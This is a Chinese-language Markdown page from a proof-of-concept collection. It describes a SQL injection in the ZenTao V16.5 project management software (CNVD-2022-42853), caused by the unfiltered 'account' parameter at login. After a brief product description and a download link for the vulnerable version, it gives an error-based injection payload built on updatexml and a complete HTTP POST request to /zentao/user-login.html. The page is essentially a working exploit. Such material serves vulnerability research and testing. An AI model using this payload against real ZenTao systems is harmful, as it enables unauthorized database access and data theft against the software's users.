Awesome-POC/CMS漏洞/禅道 V16.5 SQL 注入 CNVD-2022-42853.md
2023-06-01 17:24:55 +08:00

33 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 禅道 V16.5 SQL 注入 CNVD-2022-42853
## 漏洞描述
禅道是一款专业的国产开源研发项目管理软件,集产品管理,项目管理, 质量管理,文档管理,组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程,管理思想基于国际流行的敏捷项目管理方法-Scrum在遵循其价值观的基础上结合国内项目研发的现状整合了任务管理需要管理Bug 管理,用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。
禅道 V16.5 未对输入的 account 参数内容作过滤校验,导致攻击者拼接恶意 SQL 语句执行。
## 环境搭建
下载环境:
```
https://www.zentao.net/dl/zentao/16.5/ZenTaoPMS.16.5.win64.exe
```
## 漏洞复现
报错型注入 Payload
```
admin' and updatexml(1,concat(0x7e,(user),0x7e),1) and '1'='1
```
poc
```
POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%271
```